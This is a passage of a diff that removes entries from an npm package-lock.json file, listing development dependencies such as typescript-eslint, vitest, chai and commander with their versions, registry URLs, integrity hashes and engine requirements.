"sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "24.10.13", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.13.tgz", - "integrity": "sha512-oH72nZRfDv9lADUBSo104Aq7gPHpQZc4BTx38r9xf9pg5LfP6EzSyH2n7qFmmxRQXh7YlUXODcYsg6PuTDSxGg==", - "devOptional": true, - "license": "MIT", - "peer": true, - "dependencies": { - "undici-types": "~7.16.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.56.0.tgz", - "integrity": "sha512-lRyPDLzNCuae71A3t9NEINBiTn7swyOhvUj3MyUOxb8x6g6vPEFoOU+ZRmGMusNC3X3YMhqMIX7i8ShqhT74Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/regexpp": "^4.12.2", - "@typescript-eslint/scope-manager": "8.56.0", - "@typescript-eslint/type-utils": "8.56.0", - "@typescript-eslint/utils": "8.56.0", - "@typescript-eslint/visitor-keys": "8.56.0", - "ignore": "^7.0.5", - "natural-compare": "^1.4.0", - "ts-api-utils": "^2.4.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^8.56.0", - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/@typescript-eslint/parser": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.56.0.tgz", - "integrity": "sha512-IgSWvLobTDOjnaxAfDTIHaECbkNlAlKv2j5SjpB2v7QHKv1FIfjwMy8FsDbVfDX/KjmCmYICcw7uGaXLhtsLNg==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@typescript-eslint/scope-manager": "8.56.0", - "@typescript-eslint/types": "8.56.0", - "@typescript-eslint/typescript-estree": "8.56.0", - "@typescript-eslint/visitor-keys": "8.56.0", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.56.0.tgz", - "integrity": "sha512-M3rnyL1vIQOMeWxTWIW096/TtVP+8W3p/XnaFflhmcFp+U4zlxUxWj4XwNs6HbDeTtN4yun0GNTTDBw/SvufKg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.56.0", - "@typescript-eslint/types": "^8.56.0", - "debug": "^4.4.3" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.56.0.tgz", - "integrity": "sha512-7UiO/XwMHquH+ZzfVCfUNkIXlp/yQjjnlYUyYz7pfvlK3/EyyN6BK+emDmGNyQLBtLGaYrTAI6KOw8tFucWL2w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.56.0", - "@typescript-eslint/visitor-keys": "8.56.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.56.0.tgz", - "integrity": "sha512-bSJoIIt4o3lKXD3xmDh9chZcjCz5Lk8xS7Rxn+6l5/pKrDpkCwtQNQQwZ2qRPk7TkUYhrq3WPIHXOXlbXP0itg==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/type-utils": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.56.0.tgz", - "integrity": "sha512-qX2L3HWOU2nuDs6GzglBeuFXviDODreS58tLY/BALPC7iu3Fa+J7EOTwnX9PdNBxUI7Uh0ntP0YWGnxCkXzmfA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.56.0", - "@typescript-eslint/typescript-estree": "8.56.0", - "@typescript-eslint/utils": "8.56.0", - "debug": "^4.4.3", - "ts-api-utils": "^2.4.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.56.0.tgz", - "integrity": "sha512-DBsLPs3GsWhX5HylbP9HNG15U0bnwut55Lx12bHB9MpXxQ+R5GC8MwQe+N1UFXxAeQDvEsEDY6ZYwX03K7Z6HQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.56.0.tgz", - "integrity": "sha512-ex1nTUMWrseMltXUHmR2GAQ4d+WjkZCT4f+4bVsps8QEdh0vlBsaCokKTPlnqBFqqGaxilDNJG7b8dolW2m43Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.56.0", - "@typescript-eslint/tsconfig-utils": "8.56.0", - "@typescript-eslint/types": "8.56.0", - "@typescript-eslint/visitor-keys": "8.56.0", - "debug": "^4.4.3", - "minimatch": "^9.0.5", - "semver": "^7.7.3", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.4.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@typescript-eslint/utils": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.56.0.tgz", - "integrity": "sha512-RZ3Qsmi2nFGsS+n+kjLAYDPVlrzf7UhTffrDIKr+h2yzAlYP/y5ZulU0yeDEPItos2Ph46JAL5P/On3pe7kDIQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.9.1", - "@typescript-eslint/scope-manager": "8.56.0", - "@typescript-eslint/types": "8.56.0", - "@typescript-eslint/typescript-estree": "8.56.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.56.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.56.0.tgz", - "integrity": "sha512-q+SL+b+05Ud6LbEE35qe4A99P+htKTKVbyiNEe45eCbJFyh/HVK9QXwlrbz+Q4L8SOW4roxSVwXYj4DMBT7Ieg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.56.0", - "eslint-visitor-keys": "^5.0.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@vitest/expect": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-3.2.4.tgz", - "integrity": "sha512-Io0yyORnB6sikFlt8QW5K7slY4OjqNX9jmJQ02QDda8lyM6B5oNgVWoSoKPac8/kgnCUzuHQKrSLtu/uOqqrig==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/chai": "^5.2.2", - "@vitest/spy": "3.2.4", - "@vitest/utils": "3.2.4", - "chai": "^5.2.0", - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/mocker": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-3.2.4.tgz", - "integrity": "sha512-46ryTE9RZO/rfDd7pEqFl7etuyzekzEhUbTW3BvmeO/BcCMEgq59BKhek3dXDWgAj4oMK6OZi+vRr1wPW6qjEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/spy": "3.2.4", - "estree-walker": "^3.0.3", - "magic-string": "^0.30.17" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "msw": "^2.4.9", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" - }, - "peerDependenciesMeta": { - "msw": { - "optional": true - }, - "vite": { - "optional": true - } - } - }, - "node_modules/@vitest/pretty-format": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-3.2.4.tgz", - "integrity": "sha512-IVNZik8IVRJRTr9fxlitMKeJeXFFFN0JaB9PHPGQ8NKQbGpfjlTx9zO4RefN8gp7eqjNy8nyK3NZmBzOPeIxtA==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/runner": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-3.2.4.tgz", - "integrity": "sha512-oukfKT9Mk41LreEW09vt45f8wx7DordoWUZMYdY/cyAk7w5TWkTRCNZYF7sX7n2wB7jyGAl74OxgwhPgKaqDMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/utils": "3.2.4", - "pathe": "^2.0.3", - "strip-literal": "^3.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/snapshot": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-3.2.4.tgz", - "integrity": "sha512-dEYtS7qQP2CjU27QBC5oUOxLE/v5eLkGqPE0ZKEIDGMs4vKWe7IjgLOeauHsR0D5YuuycGRO5oSRXnwnmA78fQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "3.2.4", - "magic-string": "^0.30.17", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/spy": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-3.2.4.tgz", - "integrity": "sha512-vAfasCOe6AIK70iP5UD11Ac4siNUNJ9i/9PZ3NKx07sG6sUxeag1LWdNrMWeKKYBLlzuK+Gn65Yd5nyL6ds+nw==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyspy": "^4.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/ui": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/ui/-/ui-3.2.4.tgz", - "integrity": "sha512-hGISOaP18plkzbWEcP/QvtRW1xDXF2+96HbEX6byqQhAUbiS5oH6/9JwW+QsQCIYON2bI6QZBF+2PvOmrRZ9wA==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@vitest/utils": "3.2.4", - "fflate": "^0.8.2", - "flatted": "^3.3.3", - "pathe": "^2.0.3", - "sirv": "^3.0.1", - "tinyglobby": "^0.2.14", - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "vitest": "3.2.4" - } - }, - "node_modules/@vitest/utils": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-3.2.4.tgz", - "integrity": "sha512-fB2V0JFrQSMsCo9HiSq3Ezpdv4iYaXRG1Sx8edX3MwxfyNn83mKiGzOcH+Fkxt4MHxr3y42fQi1oeAInqgX2QA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "3.2.4", - "loupe": "^3.1.4", - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/acorn": { - "version": "8.16.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", - "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", - "dev": true, - "license": "MIT", - "peer": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/ajv": { - "version": "6.14.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", - "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ansi-colors": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", - "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true, - "license": "Python-2.0" - }, - "node_modules/array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/assertion-error": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/better-path-resolve": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/better-path-resolve/-/better-path-resolve-1.0.0.tgz", - "integrity": "sha512-pbnl5XzGBdrFU/wT4jqmJVPn2B6UHPBOhzMQkY/SPUPB6QtUXtmBHBIwCbXJol93mOpGMnQyP/+BB19q04xj7g==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-windows": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cac": { - "version": "6.7.14", - "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz", - "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/chai": { - "version": "5.3.3", - "resolved": "https://registry.npmjs.org/chai/-/chai-5.3.3.tgz", - "integrity": "sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==", - "dev": true, - "license": "MIT", - "dependencies": { - "assertion-error": "^2.0.1", - "check-error": "^2.1.1", - "deep-eql": "^5.0.1", - "loupe": "^3.1.0", - "pathval": "^2.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/chalk": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", - "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", - "license": "MIT", - "engines": { - "node": "^12.17.0 || ^14.13 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/chardet": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.1.1.tgz", - "integrity": "sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ==", - "license": "MIT" - }, - "node_modules/check-error": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/check-error/-/check-error-2.1.3.tgz", - "integrity": "sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 16" - } - }, - "node_modules/ci-info": { - "version": "3.9.0", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", - "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/sibiraj-s" - } - ], - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/cli-cursor": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", - "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", - "license": "MIT", - "dependencies": { - "restore-cursor": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cli-spinners": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", - "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cli-width": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", - "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", - "license": "ISC", - "engines": { - "node": ">= 12" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "license": "MIT" - }, - "node_modules/commander": { - "version": "14.0.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", - "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/dataloader": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/dataloader/-/dataloader-1.4.0.tgz", - "integrity": "sha512-68s5jYdlvasItOJnCuI2Q9s4q98g0pCyL3HrcKJu8KNugUl8ahgmZYg38ysLTgQjjXX3H8CJLkAvWrclWfcalw==", - "dev": true, - "license": "BSD-3-Clause" - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/deep-eql": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-5.0.2.tgz", - "integrity": "sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/detect-indent": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-6.1.0.tgz", - "integrity": "sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/dotenv": { - "version": "8.6.0", - "resolved": 